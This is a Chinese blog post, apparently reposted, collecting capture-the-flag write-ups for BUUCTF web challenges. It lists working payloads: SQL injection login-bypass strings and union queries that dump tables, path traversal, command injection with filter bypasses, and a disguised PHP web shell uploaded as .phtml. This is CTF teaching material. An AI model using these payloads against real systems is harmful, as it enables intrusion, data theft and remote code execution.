BUUCTF-WEB

Posted parkour-

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF-WEB相关的知识,希望对你有一定的参考价值。

目录

[HCTF 2018]WarmUp

[极客大挑战 2019]EasySQL

总结万能密码

[极客大挑战 2019]Havefun

[强网杯 2019]随便注

[ACTF2020 新生赛]Include

[SUCTF 2019]EasySQL

[极客大挑战 2019]Secret File

[ACTF2020 新生赛]Exec

[极客大挑战 2019]LoveSQL

[GXYCTF2019]Ping Ping Ping

[极客大挑战 2019]Knife

[极客大挑战 2019]Http

[极客大挑战 2019]Upload

[RoarCTF 2019]Easy Calc


[HCTF 2018]WarmUp

打开网页,查看一下源代码,可以找到一个source.php

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
​
            if (in_array($page, $whitelist)) {
                return true;
            }
​
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
​
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
​
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\\" />";
    }  
?> 

然后有一个hint.php

payload:

url/?file=source.php?../../../../ffffllllaaaagggg

[极客大挑战 2019]EasySQL

打开是一个登录界面,我们直接尝试万能密码

直接得到flag

总结万能密码

asp aspx万能密码

1:"or "a"="a
2:'.).or.('.a.'='.a 
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
admin'or 1=1#

PHP万能密码

admin'/*
密码*/'
​
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--

jsp万能密码

1'or'1'='1
​
admin' or 1=1/*

[极客大挑战 2019]Havefun

打开网页,就是一个小猫,然后我们F12查看一下源代码,找到了一行注释

$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';}

在这里有一个迷惑,Syc{cat_cat_cat_cat}虽然很像flag,但是不是flag

然后我们可以直接get传参cat=dog

[强网杯 2019]随便注

上来就是sql注入,然后我们直接

1‘ select union 2#

然后我们知道了select被禁用了

然后我们采用堆叠注入show tables

';show tables;#

再查字段

‘;show columns from words;#
‘;show columns from 1919810931114514;#

最后发现查最后的flag这个方法行不通呐,看了别人的wp也没有学明白

最后找到了非预期解,直接得flag

1' or 1=1#

[ACTF2020 新生赛]Include

打开是一个tips,然后点击转到了?file=flag.php页面

但是并没有什么东西,然后我们想到了题目include,直接伪协议读flag.php得到了源码

解码得flag

[SUCTF 2019]EasySQL

试了好多

输入1,有回显
输入2,也有回显
但是1’,没有回显了
尝试用order by语句查询多少个字段

然后我直接看了别人的wp,受益匪浅

内置的sql语句为:

sql=“select”.post[‘query’]."||flag from Flag";

如果$post['query']的数据为*,1,sql语句就变成了

select *,1||flag from Flag

也就是

select *,1 from Flag

查到Flag表中的内容

[极客大挑战 2019]Secret File

打开网页只发现了页面为黑色,字体为红色

很容易就找到了线索,来到./Archive_room.php页面

点击这个secret按钮,首先到了action页面,但是特别快的准到end页面,没有看清里面的内容

然后我们抓包看一下

又找到了secr3t.php

然后我们直接用伪协议读flag.php,得到base64编码,然后解码

[ACTF2020 新生赛]Exec

这个题直接127.0.01来查询就行了

127.0.0.1;ls /
127.0.0.1;cat /flag

[极客大挑战 2019]LoveSQL

进来就是一个登录页面,然后我们直接尝试万能密码登录

发现并不对,但是我们找到了注入点

测试注入点

/check.php?username=1' union select 1,2,3%23&password=1

查询数据库及版本

/check.php?username=1' union select 1,database(),version()%23&password=1

爆表

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

爆字段

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

爆数据

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

[GXYCTF2019]Ping Ping Ping

一进来就是让我们输ip,很明显传参

然后我尝试了以下

?ip=127.0.0.1//可行
?ip=127.0.0.1;ls//查到了flag
?ip=127.0.0.1;cat flag//被禁掉了空格
?ip=127.0.0.1;cat$IFS$flag//flag被禁了

我们直接?ip=1|cat$IFS$1index.php,查看以下index.php

/?ip=
|\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match)){
    echo preg_match("/\\&|\\/|\\?|\\*|\\<|[\\x{00}-\\x{20}]|\\>|\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
​
";
  print_r($a);
}
​
?>

看到了好多被禁用的

关于flag的绕过

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

[极客大挑战 2019]Knife

打开页面

我们直接拿蚁剑连就行了

然后直接在根目录下找到flag就行了

[极客大挑战 2019]Http

打开没有找到什么东西,然后我们直接抓包看一下,爆到seret.php

然后直接查看一下,它需要让我们修改referer

然后我们再修改ua

再添加xff,得到flag

[极客大挑战 2019]Upload

文件上传题,首先尝试最基本的操作,上传一句话木马什么的

我们知道了

需要image的文件格式
php后缀被禁了
<?的一句话也不行

解决方法

image
直接抓包将Content-Type里面的格式改为image/jpeg
php后缀
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht
我们可以使用phtml来绕过
<?的一句话被禁
换一句话木马
GIF89a? <script language="php">eval($_REQUEST[1])</script>

然后直接构造木马上传,再连接就好了

 

然后直接用蚁剑连,得到flag

[RoarCTF 2019]Easy Calc

打开页面是一个计算机,然后我们查看源代码,找到了calc.php

得到源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\\t', '\\r', '\\n','\\'', '"', '`', '\\[', '\\]','\\$','\\\\','\\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

首先是禁用了很多的东西,然后执行eval()

首先num不能为字母,这个时候利用php的字符串解析特性

用%20num进行绕过

假如way不允许num变量传递字母,可以在num前加个空格,这样waf就不会找到num变量,因为变量叫“ num”而不是“num”。然后在php解析时,会把空格去掉然后代码还能正常运行

构造? num=var_dump(scandir(chr(47)))

找到了flag文件

payload:

? num=var_dump(file_get_contents(chr(47).f1agg))

以上是关于BUUCTF-WEB的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF-web

Buuctf-Web-[ACTF2020 新生赛]Include

Buuctf-web-[SUCTF 2019]CheckIn

Buuctf-web-[极客大挑战 2019]Upload

微信小程序代码片段

VSCode自定义代码片段——CSS选择器